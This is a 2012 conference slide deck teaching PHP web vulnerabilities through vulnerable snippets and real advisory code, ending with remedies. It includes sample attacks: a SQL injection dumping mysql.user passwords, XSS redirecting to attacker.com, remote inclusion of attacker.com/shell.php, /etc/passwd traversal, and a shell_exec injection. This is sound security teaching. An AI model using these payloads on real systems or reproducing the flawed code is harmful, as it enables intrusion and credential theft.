You are on page 1of 35

Spot the Web Vulnerability

Miroslav tampar
(dev@sqlmap.org)

Talk overview
Introduction to commonly exploited web application vulnerability classes (covering only those caused by coding mistake(s)) Usage of code review on real-life vulnerabilities as an educational tool Mitigation in form of remedies Note: While given examples will discuss PHP coding (due to its overwhelming popularity on the Web), the concepts also apply to any other web programming language
October 13th, 2012 2

Vulnerability statistics (1)

October 13th, 2012

Vulnerability statistics (2)


Name
vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability WordPress <= 3.3.1 Multiple Vulnerabilities WordPress 3.1.3 SQL Injection Vulnerabilities Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability Bypass the JQuery-Real-Person captcha plugin 0-day FCKeditor all version Arbitrary File Upload Vulnerability Joomla 1.5 URL Redirecting Vulnerability WordPress TimThumb Plugin - Remote Code Execution

Visits
31961 25960 25168 24166 22850 19074 17089 16211 16061 15991

Platform
php php php php php php php php php php

Date
2010-08-29 2012-01-25 2011-07-01 2011-07-21 2010-07-24 2011-05-23 2011-11-28 2011-08-09 2010-08-24 2011-08-03

October 13th, 2012

SQL injection (1)


Vulnerability on dynamic database queries that include unfiltered user supplied input Usually result of concatenation of raw parameter values to a desired SQL statement Various techniques used depending on target's environment and affected vulnerable query The goal is unauthorized access to the underlying database Involved in 60% of all breach incidents examined by 7Safe in 2010

October 13th, 2012

SQL injection (2)


Example of vulnerable code (vuln.php):
<?php ... $sql = "SELECT * FROM forum_logs WHERE id = " . $_GET["id"]; $result = mysql_query($sql); ... ?>

Sample attack:
http://www.target.com/vuln.php?id=1 UNION ALL SELECT NULL,CONCAT(user,0x3a,password),NULL FROM mysql.user-October 13th, 2012 6

Cross-site scripting (1)


Enables attackers to inject client-side script into web pages viewed by other users Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible Persistent (stored) and non-persistent (reflected) variants Samy (JS.Spacehero), first known XSS worm, infected over 1 million MySpace profiles in less than 20 hours

October 13th, 2012

Cross-site scripting (2)


Example of vulnerable code (vuln.php):
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.site.com/">Click to Visit</a>"; ?>

Sample attack:
http://www.target.com/vuln.php? name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href ="http://www.attacker.com/";}</script>
October 13th, 2012 8

File inclusion (1)


Allows inclusion of arbitrary code into vulnerable application for further execution Local file (LFI) and remote file (RFI) variants Attacker's fondest wish (especially RFI) Access anything that the original program context is able to (configuration files, password files, etc.) Involved in 21% of all web application attacks observed by Imperva in 2011

October 13th, 2012

File inclusion (2)


Example of vulnerable code (vuln.php):
<?php $page = 'index'; if (isset($_REQUEST['page'])) $page = $_REQUEST['page']; include($page . '.php'); ?>

Sample attack:
http://www.target.com/vuln.php? page=http://www.attacker.com/shell.php?foo=

October 13th, 2012

10

File disclosure (1)


Access files that are not intended to be accessible and expose their content to the attackers Directory traversal variant in cases when characters for traverse to the parent directory (e.g. ../) are passed through to the file API(s) Local file inclusion becomes a variant too if used for obtaining a non-script content Easiest for exploitation

October 13th, 2012

11

File disclosure (2)


Example of vulnerable code (vuln.php):
<?php $template = 'default.php'; if (isset($_COOKIE['template'])) $template = $_COOKIE['template']; readfile("templates/" . $template); ?>

Sample attack:
GET /vuln.php HTTP/1.0 Cookie: template= ../../../../../../../../../etc/passwd

October 13th, 2012

12

Remote code execution (1)


Provides a way to execute arbitrary code In one variant provided code is being executed inside the vulnerable web application (e.g. eval) In other, more common, content of one of request parameters is being written to the browser reachable file, giving attacker opportunity to run it as a standalone script TimThumb WordPress PHP plugin vulnerability (CVE: 2011-4106) affected 1.2 million websites
October 13th, 2012 13

Remote code execution (2)


Example of vulnerable code (vuln.php):
<?php $fp = fopen("prefs/timezone.php", "w"); fwrite($fp, "<?php\r\n$timezone=" . $_REQUEST['tz'] . ";\r\n?>"); fclose($fp); ?>

Sample attack:
http://www.target.com/vuln.php? tz=us;shell_exec($_GET['cmd']) http://www.target.com/prefs/timezone.php?cmd=cat /etc/passwd
October 13th, 2012 14

Spot SQL injection (1)


(EDB-ID: 18820, CVE: 2012-1002, OSVDB-ID: 78996)
if (isset($_POST['authornum']) && ctype_digit($_POST['authornum'])) { $oc_authorNum = $_POST['authornum']; } else { $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) or err("Unable to retrieve submission information"); if (mysql_num_rows($anr) != 1) { err(oc_('Submission ID or password entered is incorrect')); }

OpenConf <= 4.11

October 13th, 2012

15

Spot SQL injection (2)


(EDB-ID: 19264, OSVDB-ID: 83231)
if(empty($cookies['language'])){ setcookie('MyTickets_language', $setting['default_language'],time()+86400,"/"); $language = $setting['default_language']; } else { if($db->count('languages',"`id`='". $cookies['language']."'") == 0){ $language = $setting['default_language']; } $language = $cookies['language']; } $language_array = $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));

MyTickets <= v2.0.8

October 13th, 2012

16

WP-Predict Plugin for WordPress <= v1.0

Spot SQL injection (3)


foreach ($postPredicts as $postPredict){ ... if ($_POST['postAction'] == "submitVote" && intval($_POST['predictId']) == $postPredict>predictId) { $submitPredictId = $_POST['predictId']; $selectedOption = $_POST['predictSelection']; ... $dbResult = @$wpdb->query("INSERT INTO " . $wpdb->prefix . "wpp_predict_votes (predictEntryId, predictUserId, predictSelectedOption) VALUES (" . $submitPredictId . ", " . $user_ID . ", " . $selectedOption . ")"); ... }
October 13th, 2012 17

(EDB-ID: 19715, OSVDB-ID: 83697)

Spot SQL injection (4)


(EDB-ID: 18516, OSVDB-ID: 79497)
$start['year'] = isset($_GET['sy']) ? htmlspecialchars($_GET['sy']) : date('Y'); $start['month'] = isset($_GET['sm']) ? htmlspecialchars($_GET['sm']) : date('m'); $start['day'] = isset($_GET['sd']) ? htmlspecialchars($_GET['sd']) : date('d'); ... $sidq = sql_query("SELECT `id` FROM $table WHERE year = '".$start['year']."' AND month = '". $start['month']."' AND day = '".$start['day']."'");

phpDenora <= v1.4.6

October 13th, 2012

18

AdRotate Plugin for WordPress <= v3.6.6

Spot SQL injection (5)


(EDB-ID: 18114, CVE: 2011-4671, OSVDB-ID: 77507)
if(isset($_GET['track']) OR $_GET['track'] != '') { $meta = base64_decode($_GET['track']); ... list($ad, $group, $block) = explode("-", $meta); ... $bannerurl = $wpdb->get_var($wpdb>prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); ... }

October 13th, 2012

19

WP Bannerize Plugin for WordPress <= v2.8.7

Spot SQL injection (6)


(EDB-ID: 17906, OSVDB-ID: 76658)
if (@isset($_SERVER['HTTP_X_REQUESTED_WITH'])) { ... $limit = intval($_POST['limit']); $page_offset = (intval($_POST['offset']) - 1) * $limit; foreach($_POST["item"] as $key => $value){ $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset), $value); $result = mysql_query($sql); } }

October 13th, 2012

20

Spot cross-site scripting (1)


(EDB-ID: 11017, OSVDB-ID: 61594)

PHPDug <= v2.0.0

$page = new HtmlTemplate("templates/" . $config['tpl_name'] . "/index.html"); ... $page->SetParameter('UPCOMING_LINK', $config['site_url'].'upcoming.php?id='.$_GET['id']); $page->SetParameter('POPULAR_LINK', $config['site_url'].'index.php'); ... $page->CreatePageEcho($lang,$config);

October 13th, 2012

21

Spot cross-site scripting (2)


function _wp_comment_row($comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false) { $comment = get_comment($comment_id); ... $author_url = get_comment_author_url(); ... $author_url_display = $author_url; ... echo "<a title='$author_url' href= '$author_url'>$author_url_display</a><br/>"; ... } ... foreach ($comments as $comment) _wp_comment_row($comment->comment_ID, $mode, $comment_status);

October 13th, 2012

(EDB-ID: 9250, CVE: 2009-2851, OSVDB-ID: 56193)


22

WordPress <= v2.8.1

Spot cross-site scripting (3)


$handle = fopen($shoutsFile,"a"); $toWrite="\n".stripslashes($_POST["txtNick"]) . "|" . $_POST["txtEmail"] . "|" . stripslashes($_POST["txtShout"]); fwrite($handle, $toWrite); fclose($handle); ... $lines = array_reverse(file($shoutsFile)); foreach ($lines as $line_num => $line) { $info = explode("|", $line, 3); if ((is_email($info[1])) && $displayEmails) $info[0] = "<a href='mailto:" . $info[1] . "'>" . $info[0] . "</a>"; echo "<div style='$fontStyle'><b>$info[0]</b> : " . ($allowHTML ? $info[2] : strip_tags($info[2])) . "</div>\n"; // CVE-2004-0595 (strip_tags() bypass) }
October 13th, 2012 23

damianov.net Shoutbox <= v1.0

(EDB-ID: 12593)

Spot file inclusion (1)


(EDB-ID: 15166, OSVDB-ID: 68300) Zen Cart <= v1.3.9f

$typefilter = 'default'; if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter']; require(DIR_WS_INCLUDES . zen_get_index_filters_directory($typefilter . '_filter.php'));

October 13th, 2012

24

Spot file inclusion (2)


(EDB-ID: 19550, OSVDB-ID: 83700)
if (isset($_POST['lang']) && preg_replace("#.*/#","", $_SERVER['PHP_SELF'])=="config.php" $CONF['lang']=$_POST['lang']; if (!isset($CONF['lang'])) $CONF['lang']="english"; if (!file_exists($prepath.PMBP_LANGUAGE_DIR. $CONF['lang'].".inc.php")) include_once($prepath.PMBP_LANGUAGE_DIR . "english.inc.php"); else include($prepath.PMBP_LANGUAGE_DIR . $CONF['lang'].".inc.php");

phpMyBackupPro <= v2.2

October 13th, 2012

25

Relocate Upload Plugin for WordPress <= v0.14

Spot file inclusion (3)


(EDB-ID: 17869, CVE: 2012-1205, OSVDB-ID: 79250)

if (isset($_GET['ru_folder'])) { define('WP_USE_THEMES', false); require_once(urldecode($_GET['abspath']) . '/wp-load.php'); ... }

October 13th, 2012

26

Spot file disclosure (1)


ISPworker <= v1.23

(EDB-ID: 10262)

header('Content-type: ' . $_REQUEST[type]); header('Content-Disposition: attachment; filename="' . $_REQUEST[filename] . '"'); readfile("./tmp/$ticketid" . "_" . $_REQUEST[filename]);

October 13th, 2012

27

PICA Photo Gallery Plugin for WordPress <= v1.0

Spot file disclosure (2)


(EDB-ID: 19016, OSVDB-ID: 82702)
$timg = $imgname = $_REQUEST['imgname']; $pluginName = 'pica-photo-gallery'; $file = dirname(dirname(dirname(__FILE__))) . "/uploads/" . $pluginName . "/" . $timg; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); ... header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file);

October 13th, 2012

28

Spot remote code execution (1)


(EDB-ID: 18775, CVE: 2012-1495, OSVDB-ID: 81329)
$file = '../includes/settings.php'; ... $settings['single_user_login'] = getPostValue ('form_single_user_login'); ... $fd = @fopen ($file, 'w+b', false); ... fwrite ($fd, "<?php\r\n");

WebCalendar <= v1.2.4

fwrite ($fd, '/* updated via install/index.php on ' . date ('r') . "\r\n"); foreach ($settings as $k => $v) { if ($v != '<br />' && $v != '') fwrite ($fd, $k . ': ' . $v . "\r\n"); }

October 13th, 2012

29

Spot remote code execution (2)


(EDB-ID: 18075, CVE: 2011-4825, OSVDB-ID: 76928)
@ob_start(); displayArray($_POST); writeInfo(@ob_get_clean()); ... function writeInfo($data, $die = false) { $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+'); @fwrite($fp, $data); @fwrite($fp, "\n\n" . date('d/M/Y H:i:s')); @fclose($fp); ... }
October 13th, 2012 30

Ajax File and Image Manager <= v1.0

Remedies (1)
Data validation
Process of ensuring that application is running with correct data Discard if it doesnt pass the validation process
if (!preg_match('/^\(?\d{3}\)?[-\s.]?\d{3}[-\s.]\d{4}$/', $phone)) { echo "Your phone number is invalid"; die(); }

October 13th, 2012

31

Remedies (2)
Data sanitization
Removing any unwanted bits from the data and normalizing it to the correct form
$comment = strip_tags($_POST['comment']); ... $id = intval($_GET['id']); ... $username = preg_replace('/[^a-zA-Z0-9._]/', '', $_REQUEST['username']); ... $query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'", mysql_real_escape_string($user), mysql_real_escape_string($password));

October 13th, 2012

32

Remedies (3)
Output escaping
Protecting integrity of displayed data Prevents browser from applying any unintended meaning to any special sequence of characters that may be found Always escape output provided by users!
echo "You searched for: " . htmlspecialchars($_GET["query"], ENT_QUOTES);

October 13th, 2012

33

Remedies (4)
Safe communication with a database
Prepared statements use one channel for commands and another one for data (which never allows commands)
$db = new PDO('dblib:host=localhost; dbname=testdb; charset=UTF-8', $user, $pass); $query = 'SELECT * FROM users WHERE id = :id'; $stmt = $db->prepare($query); $stmt->bindValue(':id', $_REQUEST['id']); $stmt->execute(); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) { ...
October 13th, 2012 34

Questions?

October 13th, 2012

35

You might also like